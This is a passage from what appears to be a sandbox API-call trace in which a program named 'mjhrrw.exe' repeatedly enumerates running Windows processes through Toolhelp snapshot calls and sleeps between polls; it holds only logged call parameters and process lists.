th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0211.892] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0211.892] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0211.893] CloseHandle (hObject=0x290) returned 1 [0211.893] Sleep (dwMilliseconds=0x1f4) [0212.567] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x320 [0212.574] Process32FirstW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0212.575] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0212.575] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0212.576] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0212.576] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0212.576] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0212.577] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0212.577] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0212.579] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0212.579] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0212.580] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0212.580] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.580] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.581] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0212.581] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.582] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.583] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.583] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.584] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.585] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.585] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.586] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.586] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.587] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.587] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0212.588] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.588] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0212.589] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0212.589] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0212.590] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0212.590] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0212.591] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.591] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0212.592] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0212.592] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0212.592] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0212.593] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0212.593] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0212.594] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0212.594] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0212.595] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0212.595] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0212.595] Process32NextW (in: hSnapshot=0x320, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0212.596] CloseHandle (hObject=0x320) returned 1 [0212.596] Sleep (dwMilliseconds=0x1f4) [0213.244] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x318 [0213.252] Process32FirstW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0213.252] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0213.253] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0213.253] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0213.254] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0213.255] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0213.255] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0213.256] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0213.257] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0213.257] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0213.258] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0213.259] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.259] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.260] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0213.260] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.261] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.261] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.262] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.263] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.263] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.264] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.265] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.265] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.266] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.266] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0213.267] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.267] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0213.268] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0213.268] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0213.269] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0213.269] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0213.270] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.270] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0213.271] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0213.272] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0213.273] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0213.274] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0213.274] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, 